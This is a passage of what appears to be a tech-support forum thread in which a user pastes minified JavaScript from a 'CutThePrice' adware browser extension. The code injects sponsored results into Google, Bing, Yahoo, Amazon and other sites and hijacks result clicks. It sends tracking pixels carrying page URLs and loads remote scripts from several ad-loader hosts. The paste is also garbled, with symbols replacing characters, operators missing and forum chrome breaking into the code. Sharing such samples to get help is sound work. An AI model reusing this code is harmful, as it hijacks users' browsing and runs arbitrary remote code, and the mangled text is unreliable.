arguments.callee(a[e]); return b } return a }; a.dhtml_prop_name = function (a) { return a.replace(/(\\-([a-z]){1})/g, function (a, b, c) { return c.toUpperCase() }) }; a.wildcard_to_regex = function (a) { a = a.replace(/([.^$+(){}\\[\\]\\\\ \\?])/g, \"\\\\$1\"); a = a.replace(/\\*/g, \".*\"); return RegExp(a) }; a.throttle = function (a, B) { var e = null; return function () { var f = this, g = arguments; clearTimeout(e); e = setTimeout(function () { a.apply(f, g) }, B) } }; a.epoch = function () { return (new Date).getTime() }; a.msie = function () { var a = parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())    [])[1], 10); isNaN(a) && (a = parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())    [])[1], 10)); return isNaN(a) ? !1 : a }(); a.version_ie_less = function (a) { if (/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1) <= a ? !0 : !1 }; a.isIE = function () { return \"Microsoft Internet Explorer\" == navigator.appName    \"Netscape\" == navigator.appName && null != /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent) }; a.match_url = function (b, d) { for (var e = 0; e < d.length; e++)if (\"string\" == typeof d[e]) { var f; f = /^\\/.+\\/$/.test(d[e]) ? RegExp(d[e]) : a.wildcard_to_regex(d[e]); if (f instanceof RegExp && f.test(B))return !0 } }; a.ping = function (a) { for (var d = [\"google\", \"bing\", \"yahoo\", \"youtube\"], e = 0; e < d.length; e++)if (-1 < location.hostname.indexOf(d[e])) { var f = new Image, g = encodeURIComponent(window == window.top ? window.location.href : \"\"); 1E3 < g.length && (g = encodeURIComponent(location.hostname)); var h = encodeURIComponent(location.hostname); f.src = b.pixelHost + \"?hid=14065488330223009752&eid=1461&pid=20046&prodid=186&v=\" + b.version + \"&ch=\" + a + \"&lan=\" + navigator.language + \"&cc=US&pr=\" + d[e] + \"&host=\" + h + \"&ref=\" + g } } }; var k = [\"horizontal\", \"vertical\", \"images-horizontal\", \"images-vertical\"]; b.jsonpHost = function () { var a = \"s1. s2. s3. s4. s5. s6.\".split(\" \"); return a[b.utils.getRandomInt(0, a.length - 1)] + \"\" }() + b.baseHostname; b.projects_info = { google: { hrefSelector: \".r a\", unique_search_divs: \"3\", urls: [\"www.google.*\"], src_for_keyword: [\"#gbqfq\", \"#lst-ib\", \"#sbhost\"], dr: [\"#tvcap\", \"#bottomads\", \"#tads\"], tweak: function () { b.events.flush(); var a = b.utils.query_selector_all(\"#nav td\"), c = b.utils.query_selector_all(\".spell + a\")[0]; if (0 < a.length)for (var d = 0; d < a.length; d++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[d], !0); \"undefined\" !== typeof c && b.events.add(\"click\", function () { b.init_search_project() }, !1, c, !0) }, validate: function (a) { var c = this; if (-1 < location.href.indexOf(\"hxxps://www.google.com/maps\")    location.href.match(/hxxps:\\/\\/www.google.[a-z,\\.]+\\/$/g))return !0; c.callback = a; c.count = 0; this.check_tab = function () { var a = document.getElementById(\"hdtb_msb\")    b.utils.query_selector_all(\".tn\").length && b.utils.query_selector_all(\".tn\")    document.getElementById(\"hdtb-msb\"); if (b.utils.isFalse(a))if (c.count++, 10 > c.count)setTimeout(function () { c.check_tab() }, 1E3); else return !1; else return a = b.utils.query_selector_all(\".hdtb_mitem\")[0]    b.utils.query_selector_all(\".tn > div\")[0]    b.utils.query_selector_all(\".hdtb-mitem\")[0], \"string\" == typeof a.className && a.className.match(/(hdtb_msel tn-selected-mode hdtb-msel)/) && (b.utils.ping(\"validate2\"), c.callback()), !1 }; if (!c.check_tab())return !1 } }, yahoo: { hrefSelector: \"a[id^=link]\", unique_search_divs: \"3\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"yahoo\"], src_for_keyword: \"#yschsp\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, bing: { hrefSelector: [\".b_algo a\", \".sb_tlst a\"], unique_search_divs: \"2\", dr: [\".sb_adsWv2\"], urls: [\"www.bing.com/search?*\"], src_for_keyword: [\"#sb_form_q\", \".b_searchboxForm[name='q']\"], validate: function (a) { b.utils.ping(\"validate2\"); a() }}, infospace: { hrefSelector: \".resultTitle\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"hxxp://search.infospace.com/search/*\"], src_for_keyword: \"#topSearchTextBox\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, wow: { hrefSelector: \".find\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"hxxp://www.wow.com/search?*\"], src_for_keyword: \"#csbquery1\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, duckduckgo: { hrefSelector: \".result__a\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://duckduckgo.com/?q=*\"], src_for_keyword: \"#search_form_input\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, contenko: { hrefSelector: \"#title\", unique_search_divs: \"1\", dr: [\"\", \"\"], urls: [\"://contenko.com/#/?q=*\"], src_for_keyword: \"#searchBar input[type='text']\", validate: function () { b.utils.ping(\"validate2\"); return !0 }}, conduit: { hrefSelector: \"a[id^=ctl00_main_organicResults]\", unique_search_divs: \"1\", urls: [\"hxxp://search.conduit.com*\"], src_for_keyword: \"#q_top\", dr: [\"#master-1\"], validate: function () { return !0 }}, ask: { hrefSelector: \".ptbs  a[id^=r]\", unique_search_divs: \"1\", urls: [\"hxxp://www.ask.com/web?q=*\", \"hxxp://www.ask.com/web?qsrc=*\", \"hxxp://www.ask.com/web?am=broad&q=*\"], src_for_keyword: [\"#top_qcomn\", \"#top_q_comm\"], dr: [\"#spl_img_top\"], validate: function () { return !0 }}, triple: { hrefSelector: \".gRsSlicetitle\", unique_search_divs: \"2\", dr: [\"#gRsTopLinks\"], urls: [\"hxxp://search.triple-search.com/?*\", \"hxxp://www.search.triple-search.com/?*\"], src_for_keyword: \"#q\", validate: function () { var a = b.utils.query_selector_all(\".gRsSTypeSelltr\"); if (0 < a.length) { for (var c = 0; c < a.length; c++)if (\"English\" == a[c].innerHTML)return !0; return !1 } } }, incredimail: { hrefSelector: \".title\", unique_search_divs: \"3\", dr: [\"#MainSponsoredLinks\"], urls: [\"hxxp://www.search.incredimail.com/search.php?q*\", \"hxxp://search.incredimail.com/search.php?q*\"], src_for_keyword: \"#q\", validate: function () { return -1 < location.href.indexOf(\"lang=english\") ? !0 : !1 } }, gmaps: { hrefSelector: \"div[class^='ads-line'] a\", unique_search_divs: \"1\", dr: [\".ads.horiz.top\", \".ads.horiz.bot\"], urls: [\"hxxps://www.google.com/maps/*\"], src_for_keyword: \"#searchboxinput\", tweak: function () { var a = function () { b.remove_search(); b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop = \"0px\"; document.getElementById(\"reveal-cards\").style.marginTop = \"0px\" }; b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"cards\"), !1); b.events.add(\"keyup\", function () { a() }, !1, document.getElementById(\"searchbox_form\"), !1); b.events.add(\"click\", function () { a() }, !1, document.getElementById(\"viewcard\"), !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".widget-runway-pegman\")[0], !1); b.events.add(\"click\", function () { a() }, !1, b.utils.query_selector_all(\".gscb_a\")[0], !1); var c = function (a) { a = document.querySelector(a); return getComputedStyle(a, null).height }(\".yael .cards-card\"); document.querySelector(\".omnibox-cards-transformations\").style.marginTop = c; document.querySelector(\"#reveal-cards\").style.marginTop = c }, validate: function (a) { b.utils.isIE()    (b.num_of_items_in_one = 1, a()) } }, amazon: { unique_search_divs: \"1\", urls: [\"hxxp://www.amazon.com*&field-keywords=*\"], src_for_keyword: \"#twotabsearchtextbox\", validate: function (a) { a() }}, smartAddress: { hrefSelector: [\"li a\"], unique_search_divs: \"2\", dr: [\".peach ol\"], urls: [\"search.smartaddressbar.com/web.php?s=*\"], src_for_keyword: \"#stxt\", tweak: function () { var a = b.utils.query_selector_all(\".peach\")[0], c = b.utils.query_selector_all(\".right ul\")[0]; a && a.parentNode.removeChild(a); c && c.parentNode.removeChild© }, validate: function () { return !0 }}, superpages: { unique_search_divs: \"1\", urls: [\"hxxp://yellowpages.superpages.com/listings.jsp?*\"], src_for_keyword: \"input[type='text']#what\", validate: function () { return !0 }}, yelp: { unique_search_divs: \"1\", urls: [\"hxxp://www.yelp.com/search?find_desc=*\"], src_for_keyword: \"input#find_desc\", validate: function () { b.num_of_items_in_one = 1; return !0 }}, yellowpages: { unique_search_divs: \"1\", urls: [\"hxxp://www.yellowpages.com/search?search_terms=*\"], src_for_keyword: \"input[type='text']#query\", validate: function () { return !0 }}, info: { unique_search_divs: \"1\", urls: [\"hxxp://www.info.com/search?*\"], src_for_keyword: \"input[type='text']#qkw0\", validate: function () { return !0 }}, webcrawler: { unique_search_divs: \"1\", urls: [\"hxxp://www.webcrawler.com/search/web?*\"], src_for_keyword: \"input[type='text']#topSearchTextBox\", validate: function () { return !0 }}, webssearches: { unique_search_divs: \"1\", urls: [\"hxxp://search.webssearches.com/search/web?*\", \"hxxp://istart.webssearches.com/web/?q=*\", \"hxxp://istart.webssearches.com/web?q=*\"], src_for_keyword: [\"input[type='search']#topSearchTextBox\", \"input[type='text']#q\"], validate: function () { b.num_of_items_in_one = 2; return !0 }}, mywebsearch: { unique_search_divs: \"1\", urls: [\"hxxp://search.mywebsearch.com/mywebsearch/*\"], src_for_keyword: [\"input#q\"], validate: function () { return !0 }} }; var l = function (a) { if (\"string\" == typeof a) { var c = a.match(/:nth-match\\(([0-9]+)\\)/); if (c && 1 < c.length)return a = b.utils.query_selector_all(a.substr(0, c.index))    [], a[c[1]]    void 0; a = b.utils.query_selector_all(a)    []; return a[0]    void 0 } }; b.events = new function () { var a = this; a.cache = []; a.add = window.addEventListener ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f.addEventListener(b, d, e); g && a.cache.push([b, d, e, f]) } : window.attachEvent ? function (b, d, e, f, g) { \"undefined\" == typeof f && (f = window); f[\"e\" + b + d] = d; f[b + d] = function () { f[\"e\" + b + d](window.event) }; f.attachEvent(\"on\" + b, f[b + d]); g && a.cache.push([b, d, e, f]) } : function () { }; a.remove = window.removeEventListener ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.removeEventListener(a, b, e) } : window.detachEvent ? function (a, b, e, f) { \"undefined\" == typeof f && (f = window); f.detachEvent(\"on\" + a, f[a + b]); f[a + b] = null; f[\"e\" + a + b] = null } : function () { }; a.flush = function () { for (var b = 0; b < a.cache.length; b++)a.remove.apply(a, a.cache[b]); a.cache = [] } }; b.get_insertion_element = function (a) { return !a.insert    \"before\" != a.insert && \"after\" != a.insert ? a.element : a.element.parentNode }; b.dom = new function () { this.json_to_html = function (a, c) { if (\"#text\" == a.type)c = document.createTextNode(a.text); else if (\"#comment\" != a.type) { c    (c = document.createElement(a.type)); if (a.attrs) { for (var d in a.attrs)if (a.attrs.hasOwnProperty(d))if (\"style\" == d && a.attrs.style instanceof Object)for (var e in a.attrs.style) { var f = b.utils.dhtml_prop_name(e); try { c.style[f] = a.attrs.style[e] } catch (g) { } } else c.setAttribute(d, a.attrs[d]); \"iframe\" == a.type && (a.attrs.hasOwnProperty(\"frameborder\") && (c.frameBorder = a.attrs.frameborder), a.attrs.hasOwnProperty(\"marginwidth\") && (c.marginWidth = a.attrs.marginwidth), a.attrs.hasOwnProperty(\"marginheight\") && (c.marginHeight = a.attrs.marginheight)) } if (a.children)for (d = 0; d < a.children.length; d++) { f = a.children[d]; e = arguments.callee(f); try { c.appendChild(e) } catch (h) { if (\"#text\" == f.type && \"string\" == typeof f.text)if (\"style\" == a.type && c.styleSheet)c.styleSheet.cssText = f.text    \"\"; else if (e = b.utils.get_node_text_prop©)c[e] = f.text } } } return c } }; b.addEventClick = function (a, c) { for (var d = 0; d < a.length; d++)b.events.add(\"click\", function (a) { a.preventDefault ? a.preventDefault() : a.returnValue = !1; this.href = \"#\"; location.href = c + \"&j=true\"; b.events.flush(); localStorage.setItem(b.prefix, b.now + b.clickInterval); return !1 }, !1, a[d], !0) }; b.checkClickInterval = function (a) { if (b.now > a)return !0 }; b.setClickHref = function (a, c) { if (\"undefined\" != typeof b.projects_info[c].hrefSelector) { if (b.utils.getRandomInt(1, 1E4) >= 1E4 / b.ratio)return !1; var d = b.projects_info[c].hrefSelector, e = parseInt(localStorage.getItem(b.prefix)); if (\"undefined\" != typeof d) { if (d instanceof Array)for (var f = 0; f < d.length; f++) { var g = b.utils.query_selector_all(d[f]); if (0 < g.length)break } else g = b.utils.query_selector_all(d); if (!e    b.checkClickInterval(e))b.addEventClick(g, a), b.j = !0 } } }; b.escape_chars_for_json = function (a) { for (var b in a)\"string\" === typeof a[b] && (a[b] = a[b].replace(/\\\"/g, '\\\\\"')); return a }; b.tpl_engine = function (a, c, d) { \"false\" !== d.layouts.unique && (c = b.escape_chars_for_json©); a = JSON.stringify(a); d = [{replace: \"title\", \"with\": c.title}, { replace: \"displayUrl\", \"with\": c.displayUrl}, {replace: \"description\", \"with\": c.description}, {replace: \"clickUrl\", \"with\": c.clickUrl}]; for (var e = 0; e < d.length; e++)a = a.replace(RegExp(\"\\\\[##\" + d[e].replace + \"##\\\\]\", \"g\"), d[e][\"with\"]); try { return \"undefined\" !== typeof c.pxl && \"\" !== c.pxl && b.utils.sendPixels(c.pxl), JSON.parse(a) } catch (f) { } }; b.get_item_json = function (a, c) { var d = b.utils.clone_object(a.layouts.template); d.attrs instanceof Object    (d.attrs = {}); return d = b.tpl_engine(d, c, a) }; b.add_jsonp_to_config = function (a, c) { b.get_item_json(a) }; b.remove_search = function () { var a = b.utils.query_selector_all(\".yael\"); if (0 < a.length)for (var c = 0; c < a.length; c++)a[c].parentNode.removeChild(a[c]) }; b.inject_json = function (a) { \"first\" == a.insert ? a.element.insertBefore(a.node, a.element.firstChild) : \"before\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element) : \"after\" == a.insert ? a.element.parentNode.insertBefore(a.node, a.element.nextSibling) : a.element.appendChild(a.node) }; b.get_ad_dom = function (a) { return a.layouts instanceof Object && a.layouts.dom instanceof Object ? a.layouts.dom : !1 }; b.get_layout_type = function (a) { if (a.layouts instanceof Object)for (var b = 0; b < k.length; b++)if (-1 < a.layouts.id.indexOf(k[b]))return k[b]; return !1 }; b.create_search = function (a) { a = b.get_ad_dom(a); return b.dom.json_to_html(a) }; b.templates = new function () { this.container_id = 0; this.add_real_links = function (a, c) { b.utils.add_event(\"click\", function (B) { window.open(a); b.preventDefault ? b.preventDefault() : b.returnValue = !1 }, !1, c) } }; b.validate_response = function () { for (var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(hxxp:\\/\\/ hxxps:\\/\\/ \\/\\/)/) && __yael_res.data.items[a].displayUrl.replace(/^(hxxp:\\/\\/ hxxps:\\/\\/ \\/\\/)/, \"\") }; b.is_target_valid = function (a) { if (0 != __yael_res.data.numberOfItems && \"undefined\" != typeof a.element)return a.urls instanceof Array && !b.utils.match_url(a.element.ownerDocument.location.href, a.urls) ? !1 : !0 }; var n = null; b.get_target_element = function (a) { if (a.inserts instanceof Array && \"undefined\" == typeof a.element)for (var b = 0; b < a.inserts.length; b++)if (a.element = l(a.inserts[b].selector), \"undefined\" !== typeof a.element) { a.insert = a.inserts[b].at; break } }; b.add_data_to_config = function (a, c) { if (0 == c.length)return b.unique_items_left = !1; var d = b.get_ad_dom(a); (function (a, c) { c.children && 0 !== c.children.length ? (c = c.children[c.children.length - 1], arguments.callee(a, c)) : b.insert_point = c })(a, d); for (var e = 0; e < b.num_of_items_in_one && 0 != c.length; e++) { var f = b.get_item_json(a, c[0]); try { b.insert_point.children.push(f) } catch (g) { b.insert_point = d, b.insert_point.children.push(f) } \"true\" == a.layouts.unique ? b.not_unique_items.push(c.shift()) : c.shift() } }; b.addEventsToItems = function () { for (var a = document.querySelectorAll('a[href*=\"' + b.jsonpHost + '\"]'), c = 0; c < a.length; c++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[c], !1) }; b.check_if_div_in_dom = function (a, B) { var d = [], e; for (e in __yael_res.config.targets) { var f = __yael_res.config.targets[e]; clearTimeout(n); a++; if (4 < a)return; if (f.inserts instanceof Array && \"undefined\" == typeof f.element)for (var g = 0; g < f.inserts.length; g++) { var h = l(f.inserts[g].selector); \"undefined\" !== typeof h && d.push(h) } } for (e = 0; e < d.length; e++)if (\"undefined\" == typeof d[e]) { var k = this; n = setTimeout(function () { k.apply(k, arguments) }, 200) } b() }; b.addExtensionName = function (a) { var c = JSON.stringify(a.layouts.dom); if (!c.match(/\\[##eid##\\]/))return a; c = c.replace(/\\[##eid##\\]/g, b.eid); a.layouts.dom = JSON.parse©; return a }; b.loop_targets = function (a, c, d) { if (a instanceof Object && (b.get_target_element(a), b.is_target_valid(a) && (\"false\" == d && b.unique_items_left && (c = b.not_unique_items), 0 != c.length))) { b.add_data_to_config(a, c); try { a = b.addExtensionName(a) } catch (e) { } try { a.node = b.create_search(a) } catch (f) { } \"undefined\" != typeof a.node && b.inject_json(a) } }; b.removeSecondClick = function () { for (var a = b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++)b.events.add(\"click\", function (a) { setTimeout(function () { for (var a = b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++) { var d = a[c]; d.outerHTML = d.outerHTML.replace(/href\\=/ig, \"_href=\") } }, 20) }, !1, a[c], !0) }; b.addCloseFunctionality = function () { function a(a) { for (var b = a.className.split(\" \"), c = 0; c < b.length; c++)if (\"yael\" === b[c])return a; if (!a.parentElement)return !1; a = a.parentElement; return arguments.callee(a) } var c = b.utils.query_selector_all(\".yael_close_btn\"); if ©for (var d = 0; d < c.length; d++)b.events.add(\"click\", function () { try { var b = a(this) } catch © { } b && b.parentElement.removeChild(B) }, !1, c[d], \"closeBtn\") }; b.inject_search = function () { b.not_unique_items = []; 0 != __yael_res.data.items.length && (b.setClickHref(__yael_res.data.items[0].clickUrl, b.projects_name), b.check_if_div_in_dom(0, function () { for (var a in __yael_res.config.targets) { var c = __yael_res.config.targets[a]; b.loop_targets(c, __yael_res.data.items, c.layouts.unique) } \"function\" == typeof b.projects_info[b.projects_name].tweak && b.projects_info[b.projects_name].tweak(); b.j    b.removeSecondClick(); b.addCloseFunctionality(); b.utils.flushWaitForTokens() })) }; b.init_search_project = function () { b.waitForElementCounter = 0; \"undefined\" != typeof __yael && b.remove_search(); for (var a in b.projects_info)if (b.utils.match_url(location.href, b.projects_info[a].urls)) { var c = b.projects_info[a]; b.projects_name = a; if (-1 < b.initThrottle.indexOf(a))c.validate(function () { c.name = b.projects_name; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) }); else { if (!c.validate())return; c.name = b.projects_name; b.projects_name = a; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) } } return !1 }; b.get_keyword = function (a, c) { var d = a.src_for_keyword, e = function (d) { b.inputElement = d[0]; b.keyword = b.inputElement.value; if (2 > b.keyword.length)return b.utils.flushWaitForTokens(), !1; if (b.inputElement && \"input\" ==



#8 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 07:40 PM

 b.inputElement.tagName.toLowerCase() && \"\" !== b.keyword)return c(b.keyword, a.name) }; if (d instanceof Array)for (var f = 0; f < d.length; f++)b.utils.waitForElement(d[f], function (a) { a && e(a) }, 100, \"keyword\"); else b.utils.waitForElement(d, function (a) { a && e(a) }, 100, \"keyword\") }; b.remove_se_handler = function (a) { var c = b.projects_info[a].dr; if (c instanceof Array)if (\"bing\" == a)for (c = b.utils.query_selector_all(c[0]), a = 0; a < c.length; a++)b.remove_se(c[a]); else for (a = 0; a < c.length; a++) { var d = l(c[a]); b.remove_se(d) } }; b.remove_se = function (a) { a && a.parentElement.removeChild(a) }; b.jsonp_request = function (a, c) { var d = b.num_of_items_in_one * parseInt(b.projects_info[c].unique_search_divs); window.__yael_cb = function (a) { window.__yael_res = a; \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && b.remove_se_handler©, __yael.inject_search()) }; \"undefined\" == typeof window.__yael && (window.__yael = B); d = b.jsonpHost + \"/?v=\" + b.version + \"&p=\" + c + \"&keyword=\" + a + \"&numItems=\" + d + \"&hid=14065488330223009752&eid=1461&pid=20046&prid=186\"; \"undefined\" != typeof specificFeeds && specificFeeds instanceof Array && (d += \"&_feeds=\" + specificFeeds.join(\",\")); if (b.utils.isIE()) { if (document.getElementById(\"__yael_script\")) { var e = document.getElementById(\"__yael_script\"); e.parentNode.removeChild(e) } e = document.createElement(\"script\"); e.id = \"__yael_script\"; e.src = \"//\" + d + \"&domvar=__yael_cb\"; e.type = \"text/javascript\"; b.utils.addScript(e, c) } else b.utils.ajax.get(\"//\" + d, function (a) { \"\" != a && (window.__yael_res = JSON.parse(a), window.__yael_res.config.targets.header.num_of_items_in_one && (b.num_of_items_in_one = window.__yael_res.config.targets.header.num_of_items_in_one), \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && __yael.remove_se_handler©, __yael.inject_search())) }) }; \"undefined\" == typeof __yael && b.init_search_project(); -1 < b.initThrottle.indexOf(b.projects_name) && b.events.add(\"keyup\", b.utils.throttle(b.init_search_project, 3E3), !1, b.inputElement, !1) } };}catch(e){};try{new function(){if(!(document.getElementById(\"sdjksjsksjdskjd__0\")  window!=window.top  -1<location.host.indexOf(\"google.com\")  -1<location.host.indexOf(\"bing.com\")  -1<location.host.indexOf(\"yahoo.com\"))){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=true;a.setAttribute(\"id\",\"sdjksjsksjdskjd__0\");a.src=\"//cdncache-a.akamaihd.net/loaders/1750/l.js?aoi=1311798366&pid=1750&zoneid=38472988&ext=CutThePrice&systemid=14065488330223009752&ext=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_arrrrppdjafklbvnn4450fm\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/min/wp.js?subid=1461_20046&hid=14065488330223009752&bname=CutThePrice\";a.setAttribute(\"id\",\"id_ar623so92sn445lc0fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_arrrrppdjafklbvnn4440fm\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/ec/wpnewbs.js?subid=1461_20046&hid=14065488330223009752&bname=CutThePrice\";a.setAttribute(\"id\",\"id_cje6936fjie71mc6fa\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{if(window==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.async=true;script.src=\"//cdncache-a.akamaihd.net/loaders/1748/l.js?aoi=1311798366&pid=1748&zoneid=38472988&ext=CutThePrice&systemid=14065488330223009752&ext=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild(script)};}catch(e){};try{new function(){if(!document.getElementById(\"7ejvo4812cvb6skot83mcweg3\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.id=\"7ejvo4812cvb6skot83mcweg3\";a.src=\"//cdncache-a.akamaihd.net/loaders/1749/l.js?aoi=1311798366&pid=1749&zoneid=38472988&ext=CutThePrice&systemid=14065488330223009752&ext=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_ad5cbe0b719874f1\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/min/wpgb.js?bname=CutThePrice&subid=1461_20046\";a.setAttribute(\"id\",\"jruwmcl34702sh16583msdp2c52\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{(function(){if(!document.getElementById(\"sdfhtyconfsc\")&&window==window.top){var a=document.createElement(\"script\");a.src=\"//fp130.digitaloptout.com/pubjs?pid=630992&sid=1461_20046&an=CutThePrice&opt=1&tc=hxxp%3A%2F%2Fsavemassit.info%2Fterms.html&&pp=hxxp%3A%2F%2Fsavemassit.info%2Fprivacy.html&cid=7\";a.type=\"text/javascript\";a.async=true;a.setAttribute(\"id\",\"sdfhtyconfsc\");document.getElementsByTagName(\"head\")[0].appendChild(a)}})();}catch(e){};try{new function(){if(window.top===window&&!function(){var b='mp14065488330223009752',a=document.getElementsByTagName('body');-1<b.indexOf('##')&&(b='mp0');return a.length&&!a[0].getAttribute(B)?(a[0].setAttribute(b,'1'),!1):!0}()){var h=this,l=h,g=new function(){var b=this;b.JSON=new function(){this.parse=function(a){try{return'undefined'!==typeof JSON&&'function'==typeof JSON.stringify?JSON.parse(a):eval('var a='+a)}catch(d){return!1}}};b.cookie=new function(){var a=this;a.setCookie=function(a,e,c){if©{var b= new Date;b.setTime(b.getTime()+864E5*c);c='; expires='+b.toGMTString()}else c='';document.cookie=a+'='+e+c+'; path=/'};a.getCookie=function(a){a+='=';for(var e=document.cookie.split(';'),c=0;c<e.length;c++){for(var b=e[c];' '==b.charAt(0);)b=b.substring(1,b.length);if(0==b.indexOf(a))return b.substring(a.length,b.length)}return null};a.eraseCookie=function(d){a.setCookie(d,'',-1)}};b.getProtocol=function(a){var d=document.createElement('a');d.href=a;return d.protocol};b.l=new function(){var a=this; a.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';a.encode=function(d){d=a._utf8_encode(d);for(var e='',c=0;c<d.length;){var b=d.charCodeAt(c++),n=d.charCodeAt(c++),q=d.charCodeAt(c++),r=b>>2,b=(b&3)<<4 n>>4,g=(n&15)<<2 q>>6,k=q&63;isNaN(n)?g=k=64:isNaN(q)&&(k=64);e=e+a.xlat.charAt®+a.xlat.charAt(B)+(64==g?'=':a.xlat.charAt(g))+(64==k?'=':a.xlat.charAt(k))}return e};a._utf8_encode=function(a){if(a&&a.length){for(var e='',c=0;c<a.length;c++){var b=a.charCodeAt©;128>b?e+= String.fromCharCode(B):(127<b&&2048>b?e+=String.fromCharCode(b>>6 192):(e+=String.fromCharCode(b>>12 224),e+=String.fromCharCode(b>>6&63 128)),e+=String.fromCharCode(b&63 128))}return e}return a};a.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',c=0;c<a.length;){var f=this.xlat.indexOf(a.charAt(c++)),n=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),k=this.xlat.indexOf(a.charAt(c++)),h=(n&15)<<4 g>>2,l=(g&3)<<6 k,b=b+String.fromCharCode(f<<2 n>>4); 64!=g&&0<h&&(b+=String.fromCharCode(h));64!=k&&0<l&&(b+=String.fromCharCode(l))}return this._utf8_decode(B)};a._utf8_decode=function(a){for(var b='',c=0;c<a.length;){var f=a.charCodeAt©;if(128>f)b+=String.fromCharCode(f),c++;else if(191<f&&224>f)var g=a.charCodeAt(c+1),b=b+String.fromCharCode((f&31)<<6 g&63),c=c+2;else var g=a.charCodeAt(c+1),k=a.charCodeAt(c+2),b=b+String.fromCharCode((f&15)<<12 (g&63)<<6 k&63),c=c+3}return b}};b.ajax=new function(){this.get=function(a,B){try{var e=new XMLhxxpRequest; e.open('GET',a,!0);e.withCredentials=!0;e.onreadystatechange=function(){4==e.readyState&&b(e.responseText)};e.send()}catch©{}}};b.randomChar=function(){for(var a='',b=0;2>b;b++)a+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52*Math.random()));return a};b.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())  [])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())  [])[1],10));return isNaN(a)?!1: a}();b.inject_script=function(a){var b=document.getElementsByTagName('body')[0],e=document.createElement('script');e.type='text/javascript';e.id='id_vdsfvdfvvf';e.src=a;b&&b.appendChild(e)};b.epoch=function(){return Math.floor((new Date).getTime()/1E3)};b.getVert=function(){var a=localStorage.getItem('sk398erjds2d');return a?a:b.forexVert()};b.browser=function(){var a=navigator.userAgent.toLowerCase(),b={webkit:/webkit/.test(a),mozilla:/mozilla/.test(a)&&!/(compatible webkit)/.test(a),chrome:/chrome/.test(a), msie:/msie/.test(a)&&!/opera/.test(a),firefox:/firefox/.test(a),safari:/safari/.test(a)&&!/chrome/.test(a),opera:/opera/.test(a)};b.version=b.safari?(a.match(/.+(?:ri)[\\/: ]([\\d.]+)/)  [])[1]:(a.match(/.+(?:ox me ra ie)[\\/: ]([\\d.]+)/)  [])[1];return b}();b.getNodeTextProp=function(a){return'textContent'in a?'textContent':'innerText'in a?'innerText':!1};b.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};b.get_computed_style='function'!=typeof window.getComputedStyle? function(a){return{getPropertyValue:function(d){'float'==d&&(d='styleFloat');d=b.dhtml_prop_name(d);return'object'==typeof a.currentStyle&&null!=a.currentStyle&&'undefined'!=typeof a.currentStyle[d]?a.currentStyle[d]:null}}}:function(a,B){return window.getComputedStyle(a,B)  {getPropertyValue:function(){}}};b.mapAdTypes=function(a){for(var b={},e=0;e<a.length;e++){var c=a[e];b['_'+c[2]]={key:c[0]+'x'+c[1]}}return b};b.cancelEvent=function(a){return('undefined'==typeof a&&(a=window.event  arguments.callee.caller.arguments[0]), 'undefined'==typeof 